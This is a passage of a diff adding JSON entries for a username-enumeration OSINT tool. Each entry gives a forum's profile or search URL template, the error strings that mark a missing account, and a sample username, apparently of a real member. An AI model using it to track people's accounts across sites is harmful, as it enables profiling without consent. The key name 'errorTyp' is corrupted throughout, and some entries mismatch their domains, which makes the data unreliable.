"urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "comments": "cf", + "bad_site": 1 + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "Verification", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + 